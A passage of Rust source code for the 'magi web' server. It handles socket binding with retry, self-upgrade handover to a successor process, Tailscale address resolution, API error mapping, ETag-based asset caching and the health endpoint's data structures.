1797/// holds its listener until it unwinds. A single `bind` can lose that race,
1798/// and for a restart triggered from a phone that means the deck never comes
1799/// back with no terminal around to say why.
1800///
1801/// Bounded, and only for the one error a wait can fix: anything else fails at
1802/// once, because retrying it would turn a clear message into a silence.
1803async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1804    const WINDOW: Duration = Duration::from_secs(10);
1805    const GAP: Duration = Duration::from_millis(250);
1806
1807    let deadline = std::time::Instant::now() + WINDOW;
1808    let mut said = false;
1809    loop {
1810        match tokio::net::TcpListener::bind(socket).await {
1811            Ok(listener) => return Ok(listener),
1812            Err(e)
1813                if e.kind() == std::io::ErrorKind::AddrInUse
1814                    && std::time::Instant::now() < deadline =>
1815            {
1816                if !said {
1817                    said = true;
1818                    tracing::info!(
1819                        "{socket} is still held - waiting up to {}s for it, \
1820                         which is what a restart looks like from here",
1821                        WINDOW.as_secs()
1822                    );
1823                }
1824                tokio::time::sleep(GAP).await;
1825            }
1826            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1827        }
1828    }
1829}
1830
1831/// Signalled when an upgrade has replaced the binary and the successor should
1832/// take this address over. One per process: there is one address to hand on.
1833static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1834
1835/// Set to `1` on the successor when the loop was running at handover.
1836const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1837/// Keep a dynamically assigned listener address stable across replacement.
1838const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1839
1840/// Whether the environment value asks for the loop to be resumed.
1841fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1842    value.is_some_and(|v| v == "1")
1843}
1844
1845/// Start this binary again with the same arguments, detached.
1846///
1847/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1848/// so the address is already free when the successor binds it. The first
1849/// attempt at this spawned the successor two hundred milliseconds before
1850/// exiting instead, and the released binary - which has no bind retry - died
1851/// on "address already in use" with its stdio sent to null, so the deck
1852/// simply never came back.
1853///
1854/// Detached and without inherited stdio: the successor has to outlive this
1855/// process, and must not hold open a pipe a terminal is waiting on.
1856///
1857/// The scheduler is restarted separately; execution workers are not awaited.
1858///
1859/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1860/// than sent to null: a supervisor's redirection only ever held the first
1861/// generation's descriptors, so every later generation logged nowhere. The
1862/// pid of the child is returned so the handover log can name it.
1863fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1864    let args: Vec<String> = std::env::args().skip(1).collect();
1865    updater::log_step(
1866        home,
1867        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1868    );
1869    let log_path = home.join(WEB_LOG);
1870    let open_log = || {
1871        std::fs::create_dir_all(home)?;
1872        std::fs::OpenOptions::new()
1873            .create(true)
1874            .append(true)
1875            .open(&log_path)
1876    };
1877    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1878        Ok(pair) => (
1879            std::process::Stdio::from(pair.0),
1880            std::process::Stdio::from(pair.1),
1881        ),
1882        Err(e) => {
1883            updater::log_warn(
1884                home,
1885                &format!(
1886                    "could not open {}: {e}; the successor logs nowhere",
1887                    log_path.display()
1888                ),
1889            );
1890            (std::process::Stdio::null(), std::process::Stdio::null())
1891        }
1892    };
1893
1894    let mut cmd = std::process::Command::new(exe);
1895    cmd.env_remove(RESUME_LOOP_ENV);
1896    cmd.env(RESTART_PORT_ENV, port.to_string());
1897    cmd.args(&args)
1898        .stdin(std::process::Stdio::null())
1899        .stdout(out)
1900        .stderr(err);
1901    #[cfg(windows)]
1902    {
1903        use std::os::windows::process::CommandExt as _;
1904        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1905        // and Ctrl-C in the old terminal must not reach the successor.
1906        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1907    }
1908    let child = cmd.spawn().context("start the successor")?;
1909    Ok(child.id())
1910}
1911
1912/// File under `<home>` the successor's output is appended to.
1913const WEB_LOG: &str = "web.log";
1914
1915/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1916/// stored by an earlier `notify_one` is consumed by the first poll, so the
1917/// signal is never missed and never wakes a second time.
1918async fn wait_for_handover(signal: &Notify) {
1919    signal.notified().await;
1920}
1921
1922/// Serve the UI independently from scheduler and execution workers.
1923/// A restart releases its listener before starting the successor.
1924pub async fn serve(opts: Opts) -> Result<()> {
1925    // Capture before self-replacement: current_exe may later name a removed
1926    // image on Linux or the renamed old image on Windows.
1927    crate::worker::remember_current_executable()?;
1928    let executable = std::env::current_exe().context("find the installed web executable")?;
1929    let (addr, warning) = resolve_bind(&opts.bind);
1930    if let Some(warning) = warning {
1931        tracing::warn!("{warning}");
1932    }
1933
1934    // Process-global, and therefore set exactly once, here: the report route
1935    // must never emit escape sequences into a browser, and toggling the flag
1936    // per request would race with a concurrent request rendering its own
1937    // report. Startup is the only moment at which no request can observe the
1938    // change. Nothing in the server turns colour back on.
1939    report::set_color(false);
1940
1941    let repo = normalize_default_repo(opts.repo).await;
1942    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1943    // The listener and periodic checker share one upgrade gate and state.
1944    let home = ui.home.clone();
1945    let admissions = Arc::clone(&ui.admissions);
1946    // Settles a progress record a predecessor left non-terminal - either this
1947    // *is* the successor `spawn_successor` started, or the previous process
1948    // died mid-handover. Before the router starts answering, so the very
1949    // first `/api/health` a phone gets from this process already reflects it.
1950    updater::reconcile_after_restart(&home);
1951    updater::log_step(
1952        &home,
1953        &format!(
1954            "web process started (version {}); handover log {}, successor output {}",
1955            env!("CARGO_PKG_VERSION"),
1956            updater::log_path(&home).display(),
1957            home.join(WEB_LOG).display()
1958        ),
1959    );
1960    updater::spawn_watchdog(home.clone());
1961    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1962    // `spawn_update_check` does at startup only ever runs once: after that,
1963    // `/api/health`'s `update` field - and the phone's "Update & restart"
1964    // button, which reads the very same cache - would stay frozen on
1965    // whatever that single check found, no matter how many releases ship
1966    // afterwards. The periodic checker below keeps it current and is
1967    // cancelled when the listener finishes.
1968    let port = if opts.port == 0 {
1969        std::env::var(RESTART_PORT_ENV)
1970            .ok()
1971            .and_then(|value| value.parse::<u16>().ok())
1972            .filter(|port| *port != 0)
1973            .unwrap_or(0)
1974    } else {
1975        opts.port
1976    };
1977    let socket = SocketAddr::new(addr, port);
1978    let listener = bind_waiting(socket).await?;
1979    let bound = listener.local_addr().context("read bound web address")?;
1980    let port = bound.port();
1981    let url = format!("http://{bound}");
1982    tracing::info!(
1983        "magi web UI on {url} - there is no authentication, so anyone who can \
1984         reach this address can file and hold tasks: the tailnet is the \
1985         security boundary"
1986    );
1987    // A legacy predecessor may request first-migration scheduler startup.
1988    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1989        ui.start_detached_loop()
1990            .await
1991            .map_err(|e| anyhow::anyhow!(e.message))?;
1992    }
1993    if opts.open {
1994        // The URL alone on stdout, for a caller that wants to open it. magi
1995        // does not spawn a browser: on the machine this usually runs on there
1996        // is no display, and a failed launch would be the only output.
1997        println!("{url}");
1998    }
1999
2000    // On its own task, so nothing this function awaits can stop the address
2001    // being answered. `hand_over` is where it is given up.
2002    let recheck_ui = ui.clone();
2003    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2004    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2005    let interrupted = async {
2006        if tokio::signal::ctrl_c().await.is_err() {
2007            // No handler on this platform, so there is no signal to act on.
2008            // Never resolving is the safe answer: a failed registration must
2009            // not masquerade as the operator asking for a shutdown and take
2010            // the UI down on startup.
2011            std::future::pending::<()>().await;
2012        }
2013    };
2014    let handover = wait_for_handover(&HANDOVER);
2015    let outcome = tokio::select! {
2016        joined = &mut served => match joined {
2017            Ok(outcome) => outcome.context("serve the web UI"),
2018            Err(e) => Err(e).context("the task serving the web UI ended"),
2019        },
2020        () = interrupted => {
2021            recheck.abort();
2022            tracing::info!("shutting down the web UI; detached workers continue");
2023            close_admissions(&admissions).await;
2024            served.abort();
2025            let _ = served.await;
2026            Ok(())
2027        }
2028        () = handover => {
2029            recheck.abort();
2030            let successor_home = home.clone();
2031            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2032        }
2033    };
2034    recheck.abort();
2035    let _ = recheck.await;
2036    updater::log_step(
2037        &home,
2038        &match &outcome {
2039            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2040            Err(e) => format!("serve: returning an error: {e:#}"),
2041        },
2042    );
2043    outcome
2044}
2045
2046/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2047/// process's own working directory is not a git checkout at all - the
2048/// checkout [`repos::discover_verified`] finds instead.
2049///
2050/// Only the unmodified default is ever replaced: an operator who named a
2051/// directory outright, git checkout or not, gets exactly that directory
2052/// back, and the same story downstream (a talk whose briefing embeds a
2053/// non-git directory, and an agent that has to ask the operator where the
2054/// real repository is) that has always told them so - substituting a guess
2055/// for an explicit answer would be a second, silent opinion about what they
2056/// meant. There is no instruction or task text yet to match against this
2057/// early, so only [`repos::discover_verified`]'s own-repository tier can
2058/// ever settle this - the hint tier never fires here.
2059///
2060/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2061/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2062/// or a git installation that is broken in exactly the way that made the
2063/// original `canonical` check above fail too - so it is re-checked with
2064/// `git::toplevel` before it is ever used in place of the operator's own
2065/// directory.
2066async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2067    if repo != FsPath::new(".") {
2068        return repo;
2069    }
2070    let Ok(canonical) = repo.canonicalize() else {
2071        return repo;
2072    };
2073    if git::toplevel(&canonical).await.is_ok() {
2074        return repo;
2075    }
2076    let Some(home) = dirs::home_dir() else {
2077        return repo;
2078    };
2079    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2080        Some(found) => {
2081            tracing::info!(
2082                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2083                canonical.display(),
2084                found.path.display(),
2085                found.reason,
2086            );
2087            found.path
2088        }
2089        None => repo,
2090    }
2091}
2092
2093/// Close new ingress and finish only transactions publishing durable work.
2094/// The writer waits for owned admission guards, not task or chat turn leases.
2095async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2096    *admissions.write().await = true;
2097}
2098
2099/// Restart only the scheduler and web listener, never their execution workers.
2100/// The old listener must be fully released before the successor is started.
2101async fn hand_over(
2102    home: &FsPath,
2103    admissions: &tokio::sync::RwLock<bool>,
2104    served: tokio::task::JoinHandle<std::io::Result<()>>,
2105    successor: impl FnOnce() -> Result<u32>,
2106) -> Result<()> {
2107    close_admissions(admissions).await;
2108    if let Some(mut progress) = updater::read_progress(home) {
2109        progress.advance(updater::Stage::Restarting);
2110        progress.detail =
2111            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2112        updater::write_progress_logged(home, &progress);
2113    }
2114    updater::log_step(
2115        home,
2116        "restarting scheduler without parking execution workers",
2117    );
2118    let scheduler = daemon::restart_detached(home).await;
2119    if let Err(error) = &scheduler {
2120        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2121        updater::log_warn(
2122            home,
2123            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2124        );
2125    }
2126    updater::log_step(home, "releasing the web listener");
2127    served.abort();
2128    let _ = served.await;
2129    updater::log_step(home, "web listener released; starting the successor");
2130    match successor() {
2131        Ok(pid) => {
2132            updater::log_step(home, &format!("successor started, pid {pid}"));
2133            scheduler
2134        }
2135        Err(e) => {
2136            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2137            Err(e)
2138        }
2139    }
2140}
2141
2142/// Resolve `--bind` to an address, plus a warning when the answer is not what
2143/// the operator asked for.
2144///
2145/// Split out from [`serve`] because the interesting half - deciding whether
2146/// Tailscale gave us something usable - is testable without opening a socket.
2147pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2148    match bind {
2149        Bind::Addr(addr) => (*addr, None),
2150        Bind::Auto => match tailscale_ip() {
2151            Ok(ip) => (IpAddr::V4(ip), None),
2152            Err(why) => (
2153                IpAddr::V4(Ipv4Addr::LOCALHOST),
2154                Some(format!(
2155                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2156                     local-only and a phone cannot reach it; start Tailscale \
2157                     or pass --bind <addr>"
2158                )),
2159            ),
2160        },
2161    }
2162}
2163
2164/// This machine's Tailscale IPv4, or why there is not one.
2165///
2166/// `tailscale ip -4` is a local call against the running daemon and returns in
2167/// milliseconds, so it is fine to make it synchronously before the server
2168/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2169/// CGNAT block Tailscale assigns from, and anything else on that output would
2170/// be a different tool answering.
2171fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2172    let out = std::process::Command::new("tailscale")
2173        .args(["ip", "-4"])
2174        .quiet()
2175        .output()
2176        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2177    if !out.status.success() {
2178        let why = String::from_utf8_lossy(&out.stderr);
2179        let why = why.trim();
2180        return Err(format!(
2181            "`tailscale ip -4` failed ({}){}",
2182            out.status,
2183            if why.is_empty() {
2184                String::new()
2185            } else {
2186                format!(": {why}")
2187            }
2188        ));
2189    }
2190    String::from_utf8_lossy(&out.stdout)
2191        .lines()
2192        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2193        .find(is_tailnet)
2194        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2195}
2196
2197/// Is this address in the CGNAT block Tailscale hands out from?
2198fn is_tailnet(ip: &Ipv4Addr) -> bool {
2199    let o = ip.octets();
2200    o[0] == 100 && (64..=127).contains(&o[1])
2201}
2202
2203/// What every handler returns. Spelled out because `Result` in this crate is
2204/// `anyhow::Result`, and a handler's error is a status code as much as a
2205/// message.
2206type ApiResult<T> = std::result::Result<T, ApiError>;
2207
2208/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2209#[derive(Debug)]
2210struct ApiError {
2211    status: StatusCode,
2212    message: String,
2213    text_reason: Option<crate::question_delivery::UnavailableReason>,
2214}
2215
2216impl ApiError {
2217    /// The client asked for something malformed.
2218    fn bad_request(message: impl Into<String>) -> Self {
2219        Self {
2220            text_reason: None,
2221            status: StatusCode::BAD_REQUEST,
2222            message: message.into(),
2223        }
2224    }
2225
2226    /// No such run or task.
2227    fn not_found(message: impl Into<String>) -> Self {
2228        Self {
2229            text_reason: None,
2230            status: StatusCode::NOT_FOUND,
2231            message: message.into(),
2232        }
2233    }
2234
2235    /// Someone else owns the thing the client wants to change.
2236    /// Re-badge an error whose default mapping is wrong for this route.
2237    fn with_status(mut self, status: StatusCode) -> Self {
2238        self.status = status;
2239        self
2240    }
2241
2242    /// A rules violation from a domain type, reported as the caller's fault.
2243    /// `Question::answer` rejects an unoffered choice, and that is a bad
2244    /// request, not a server error.
2245    fn bad_request_from(e: anyhow::Error) -> Self {
2246        Self::bad_request(format!("{e:#}"))
2247    }
2248
2249    fn completion(e: anyhow::Error) -> Self {
2250        if e.is::<crate::queue::CompletionSnapshotChanged>() {
2251            Self::conflict(format!("{e:#}"))
2252        } else {
2253            Self::bad_request_from(e)
2254        }
2255    }
2256
2257    fn conflict(message: impl Into<String>) -> Self {
2258        Self {
2259            text_reason: None,
2260            status: StatusCode::CONFLICT,
2261            message: message.into(),
2262        }
2263    }
2264
2265    /// Our fault, or the disk's.
2266    fn internal(message: impl Into<String>) -> Self {
2267        Self {
2268            text_reason: None,
2269            status: StatusCode::INTERNAL_SERVER_ERROR,
2270            message: message.into(),
2271        }
2272    }
2273}
2274
2275impl From<anyhow::Error> for ApiError {
2276    /// Errors from `queue` and `run` carry their context chain, and the whole
2277    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2278    /// value at line 3" is a message an operator can act on, and there is no
2279    /// secret in a path on a single-user tailnet.
2280    fn from(e: anyhow::Error) -> Self {
2281        Self::internal(format!("{e:#}"))
2282    }
2283}
2284
2285impl IntoResponse for ApiError {
2286    fn into_response(self) -> Response {
2287        let mut body = serde_json::json!({ "error": self.message });
2288        if let Some(reason) = self.text_reason {
2289            body["code"] = serde_json::json!("question_text_unavailable");
2290            body["reason"] = serde_json::json!(reason);
2291        }
2292        (self.status, Json(body)).into_response()
2293    }
2294}
2295
2296/// Run a handler's filesystem work off the executor.
2297///
2298/// Every route that touches the disk goes through here rather than each one
2299/// arguing about whether its own read is small enough. Uniform because the
2300/// expensive case is not rare: `run.json` for a finished competition holds
2301/// every judgement, deliberation turn and review round, so listing a few
2302/// hundred runs is megabytes of parsing, and the executor threads doing it are
2303/// the same ones serving the change stream of every other connected phone.
2304async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2305where
2306    T: Send + 'static,
2307{
2308    #[cfg(test)]
2309    let job = request_cost::carry(job);
2310    match tokio::task::spawn_blocking(job).await {
2311        Ok(result) => result,
2312        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2313    }
2314}
2315
2316/// Bulk readers have a bounded, separate execution lane. A cold health
2317/// index or multiple slow list clients cannot occupy the pool serving detail.
2318async fn bulk_blocking<T>(
2319    slots: Arc<tokio::sync::Semaphore>,
2320    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2321) -> ApiResult<T>
2322where
2323    T: Send + 'static,
2324{
2325    let permit = slots
2326        .acquire_owned()
2327        .await
2328        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2329    let (send, receive) = tokio::sync::oneshot::channel();
2330    #[cfg(test)]
2331    let job = request_cost::carry(job);
2332    let runtime = tokio::runtime::Handle::current();
2333    std::thread::Builder::new()
2334        .name("web-bulk".into())
2335        .spawn(move || {
2336            let _permit = permit;
2337            // Capacity observations schedule their independent blocking job.
2338            let _runtime = runtime.enter();
2339            let _ = send.send(job());
2340        })
2341        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2342    receive
2343        .await
2344        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2345}
2346
2347/// Cache policy for the three compiled-in front-end files.
2348///
2349/// The whole interface is `include_str!`ed into the binary, so its content
2350/// changes only when the binary does - and a phone that keeps a copy is
2351/// welcome to, right up until the deck is replaced. Without a single cache
2352/// header, browsers were free to invent their own policy, and one did:
2353/// yukimemi's phone went on showing "Candidates must be folded before
2354/// deleting. Run `magi fold` first." - a sentence deleted two releases
2355/// earlier - from a run detail served by a deck that no longer contained it.
2356/// The delete button he was told about was right there, and unreachable.
2357///
2358/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2359/// every time, the answer is a 304 costing one small round trip while the
2360/// deck is unchanged, and the moment it is replaced the tag differs and the
2361/// new interface arrives. Correctness over bytes - this is one file of a few
2362/// tens of kilobytes on a tailnet, and being a version behind is not a
2363/// cosmetic problem when the difference is whether a button exists.
2364const ASSET_CACHE: &str = "no-cache, must-revalidate";
2365
2366/// `ETag` for the compiled-in assets, distinct per build.
2367///
2368/// The version alone would leave a locally built deck - `cargo install
2369/// --path .` twice at the same version, which is the normal way to iterate -
2370/// serving a stale tag for changed bytes. The build timestamp is what makes
2371/// two builds of `0.3.0` differ.
2372fn asset_etag() -> &'static str {
2373    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2374        format!(
2375            "\"{}-{}\"",
2376            env!("CARGO_PKG_VERSION"),
2377            // Length is a cheap, deterministic stand-in for a hash: the
2378            // three files are compiled in together, so any edit to any of
2379            // them almost certainly changes the total, and a rebuild is what
2380            // this needs to track rather than every possible byte pattern.
2381            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2382        )
2383    });
2384    &TAG
2385}
2386
2387/// Headers for a compiled-in asset of `mime`.
2388fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2389    [
2390        (header::CONTENT_TYPE, mime),
2391        (header::CACHE_CONTROL, ASSET_CACHE),
2392        (header::ETAG, asset_etag()),
2393    ]
2394}
2395
2396/// Serve a compiled-in asset, answering `304` when the client already has it.
2397///
2398/// axum does not compare `If-None-Match` for us, and a header the server sets
2399/// but never honours is worse than none: the phone revalidates on every load
2400/// and is handed the whole file back each time. Doing the comparison is what
2401/// makes `must-revalidate` cost one small round trip rather than the
2402/// interface.
2403fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2404    let tag = asset_etag();
2405    let known = headers
2406        .get(header::IF_NONE_MATCH)
2407        .and_then(|v| v.to_str().ok())
2408        // A revalidating client may send several, and a proxy may weaken the
2409        // tag to `W/"..."`; matching on containment covers both without
2410        // parsing the grammar.
2411        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2412    if known {
2413        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2414    }
2415    (asset_headers(mime), body).into_response()
2416}
2417
2418async fn index(headers: header::HeaderMap) -> Response {
2419    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2420}
2421
2422async fn app_css(headers: header::HeaderMap) -> Response {
2423    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2424}
2425
2426async fn app_js(headers: header::HeaderMap) -> Response {
2427    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2428}
2429
2430/// What `/api/health` answers.
2431#[derive(Debug, Serialize)]
2432struct HealthView {
2433    version: &'static str,
2434    home: String,
2435    queue_rev: u64,
2436    runs_rev: u64,
2437    /// The same revisions [`events`] streams for the question and talk
2438    /// stores.
2439    ///
2440    /// Here because this route is what the front end falls back to when the
2441    /// change stream is not up - it re-polls health on a timer and on wake, and
2442    /// takes the revisions from the answer. Without these the fallback
2443    /// compares `undefined` against `undefined` for both stores, decides
2444    /// nothing moved, and a phone with a dead stream never learns that a
2445    /// question was asked or that a talk took a turn. `queue_rev` and
2446    /// `runs_rev` above have always been here for exactly this reason; the rule
2447    /// is that every revision the stream carries, this route carries too.
2448    questions_rev: u64,
2449    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2450    talks_rev: u64,
2451    /// See [`HealthView::questions_rev`]. The notification centre's store.
2452    notifications_rev: u64,
2453    /// Notifications nobody has read yet: the bell's badge before
2454    /// `/api/notifications` has answered.
2455    notifications_unread: usize,
2456    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2457    /// is not on disk anywhere, so a phone with no change stream has no other
2458    /// way to notice that the loop it is waiting on was started from another
2459    /// device.
2460    loop_rev: u64,
2461    /// Runs on disk whose state this build cannot parse - almost always a
2462    /// schema bump, occasionally a run killed mid-write.
2463    ///
2464    /// Reported because the list silently skips them, and "no competitions
2465    /// yet" is a lie when six of them are sitting in the runs directory. The
2466    /// terminal deck learned the same lesson: a run that fails to parse must
2467    /// not disappear from the count.
2468    runs_unreadable: usize,
2469    /// The disk, and what the runs and their worktrees occupy on it.
2470    ///
2471    /// This is the incident the janitor exists for: magi alone put 30 GB into
2472    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2473    /// is exactly where the operator learns "the disk is the constraint" -
2474    /// the diagnosis that a run is being held for want of space has to be
2475    /// checkable on the same screen.
2476    disk: Option<serde_json::Value>,
2477    /// Questions nobody has answered yet, including ones an owner talked
2478    /// back on and is now waiting for the agent's reply to. A round trip
2479    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2480    /// while the ball is in the agent's court - see
2481    /// [`crate::ask::Questions::count_open`].
2482    questions_open: usize,
2483    /// Of those, how many actually need the owner right now: open, and not
2484    /// [`crate::ask::Question::waiting_on_agent`].
2485    ///
2486    /// The one number that means "nothing will happen until a human acts" -
2487    /// a parked run consumes nothing and progresses never - and the count the
2488    /// ask bar, the nav badge and the document title fall back to before
2489    /// `/api/questions` has answered, so those notification channels clear
2490    /// the instant the owner asks back and reappear the instant the agent
2491    /// replies, instead of sitting lit for however long the agent thinks.
2492    questions_needs_owner: usize,
2493    daemon: DaemonView,
2494    /// The independently controllable scheduler, as `/api/loop` reports it.
2495    ///
2496    /// Here so a phone that has just woken needs one request to know whether
2497    /// anything is going to happen at all: `daemon` says a loop is alive
2498    /// somewhere, and this says whether it is one this UI can stop.
2499    #[serde(rename = "loop")]
2500    looping: LoopView,
2501    /// Whether a release newer than this build is known, and which.
2502    ///
2503    /// From [`updater::Checker::cached_update`] - the same throttled state the
2504    /// CLI's `notify` mode banners from - never a live check: this route is
2505    /// polled every few seconds, and a live check on each poll would spend
2506    /// GitHub's rate limit before the operator finished reading the strip.
2507    update: UpdateView,
2508    /// The self-upgrade this deck last set in motion, or `null` before the
2509    /// first one. Read off disk, so the successor can report what its
2510    /// predecessor started.
2511    upgrade: Option<UpgradeProgressView>,
2512    /// Detached jobs survive replacement of this web process. Each reports
2513    /// its own immutable executable generation rather than the web version.
2514    jobs: Vec<WorkerView>,
2515    upgrade_request_error: Option<UpgradeRequestFailure>,
2516}
2517
2518/// Public execution metadata only. Job payloads contain private configuration
2519/// and must never be returned by the health endpoint.
2520#[derive(Debug, Serialize)]
2521struct WorkerView {
2522    id: String,
2523    kind: String,
2524    key: String,
2525    pid: Option<u32>,
2526    status: crate::worker::Status,
2527    generation: String,
2528    version: Option<String>,
2529    queue_owned: bool,
2530}
2531
2532impl From<crate::worker::Job> for WorkerView {
2533    fn from(job: crate::worker::Job) -> Self {
2534        let queue_owned = job.kind == "task"
2535            && job
2536                .payload
2537                .get("standalone")
2538                .and_then(serde_json::Value::as_bool)
2539                != Some(true);
2540        Self {
2541            id: job.id,
2542            kind: job.kind,
2543            key: job.key,
2544            pid: job.pid,
2545            status: job.status,
2546            generation: job.generation,
2547            version: job.version,
2548            queue_owned,
2549        }
2550    }
2551}
2552
2553/// What `/api/health` knows about a release newer than this build.
2554///
2555/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2556/// is already the newest" from "never checked" - both are `None` - and the
2557/// phone needs to tell those apart to decide whether the deck can be trusted
2558/// to have an opinion at all.
2559#[derive(Debug, Clone, Serialize)]
2560struct UpdateView {
2561    /// A newer release is known to exist.
2562    available: bool,
2563    /// Its tag, when `available`.
2564    to: Option<String>,
2565}
2566
2567/// [`updater::Progress`] as `/api/health` reports it.
2568#[derive(Debug, Serialize)]
2569struct UpgradeProgressView {
2570    trigger: updater::UpgradeTrigger,
2571    stage: updater::Stage,
2572    from: String,
2573    to: Option<String>,
2574    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2575    /// the step it is finishing before the address is handed over.
2576    waiting_on: Option<String>,
2577    started_at: Timestamp,
2578    updated_at: Timestamp,
2579    detail: Option<String>,
2580    /// Seconds the stage has outlived its allowance, when it has - see
2581    /// [`updater::stall`]. `null` while the stage is moving normally.
2582    stuck_for_secs: Option<i64>,
2583    /// Which kind of stuck: `never_entered` (hand_over left no record of
2584    /// starting) or `stopped_beating`. `null` when not stuck.
2585    stuck_kind: Option<updater::StallKind>,
2586    /// `hand_over` is alive and waiting on the loop: however long that takes,
2587    /// it is not an overdue upgrade.
2588    handover_alive: bool,
2589}
2590
2591/// Whether [`run_update_recheck`] may act at all this tick.
2592///
2593/// The same two conditions [`updater::Checker::new`] and
2594/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2595/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2596/// GitHub from this process" - on a button press or on a timer alike.
2597fn should_spawn_recheck(cfg: &Update) -> bool {
2598    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2599}
2600
2601/// Whether this tick should actually reach the network, once checking itself
2602/// is allowed.
2603///
2604/// An upgrade already in flight must not be raced by a check that discovers
2605/// a *newer* release while one is still installing - a phone watching
2606/// `/api/health` would see the answer change out from under the upgrade it
2607/// already asked for. Past that, [`updater::Checker::should_check`] is the
2608/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2609/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2610/// polling period, is what keeps this task's network use to at most once per
2611/// `[update] interval` regardless of how often it wakes up.
2612fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2613    if progress.is_some_and(|p| !p.stage.terminal()) {
2614        return false;
2615    }
2616    checker.should_check()
2617}
2618
2619/// How long [`run_update_recheck`] sleeps before its next wake-up.
2620///
2621/// A fraction of the configured `[update] interval` rather than a fixed
2622/// number: a fixed sleep longer than a short custom interval would leave the
2623/// deck waiting on its own wake-up rather than on `should_check`, so an
2624/// operator who set `interval = "1m"` to make the UI catch up quickly would
2625/// not see that take effect until the next restart - exactly the bug this
2626/// task exists to fix, just moved one level down. Scaling with the interval
2627/// keeps the wake-up prompt relative to what was actually configured, while
2628/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2629/// still what caps the network calls themselves at one per interval,
2630/// regardless of how often this fires.
2631fn recheck_poll_period(cfg: &Update) -> Duration {
2632    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2633}
2634
2635#[derive(Debug, PartialEq, Eq)]
2636enum AutoUpgradeDecision {
2637    Skip(&'static str),
2638    Trigger,
2639}
2640
2641fn auto_upgrade_decision(
2642    cfg: &Update,
2643    disabled: bool,
2644    in_motion: bool,
2645    tag: &str,
2646    failed: Option<&str>,
2647) -> AutoUpgradeDecision {
2648    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2649        AutoUpgradeDecision::Skip("disabled")
2650    } else if in_motion {
2651        AutoUpgradeDecision::Skip("upgrade already in progress")
2652    } else if failed == Some(tag) {
2653        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2654    } else {
2655        AutoUpgradeDecision::Trigger
2656    }
2657}
2658
